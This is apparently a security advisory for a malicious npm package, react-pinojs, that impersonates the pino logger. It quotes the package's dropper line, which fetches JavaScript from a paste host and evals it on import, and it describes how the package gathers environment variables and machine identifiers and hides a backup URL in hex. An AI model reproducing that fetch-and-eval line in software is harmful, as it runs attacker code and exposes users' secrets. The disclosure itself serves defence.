MAL-2026-5488 Malicious code in react-pinojs (npm)

Package impersonates the popular pino logger (homepage points to getpino.io, description mimics pino's tagline) and executes a remote-code-execution dropper on import. lib/writer.js — loaded transitively by the main entry pino.js — performs require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); }), passing arbitrary attacker-controlled JavaScript fetched from an anonymous, mutable paste host directly to eval at module load time. Before the eval fires, writer.js assembles a data object containing the full process.env, os.platform(), os.hostname(), os.userInfo().username, and non-internal MAC addresses, which is in scope for the eval'd payload. A second hex-encoded channel is hidden in writer.js: byte arrays decode to the strings 'axios', 'get', 'then', and the URL https://www.jsonkeeper.com/b/HY6M6 — a backup fetch endpoint concealed from trivial source greps. Any project that runs require('react-pinojs') (or imports it) executes attacker-controlled code with access to the installer's environment variables, hostname, username, and MAC addresses.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.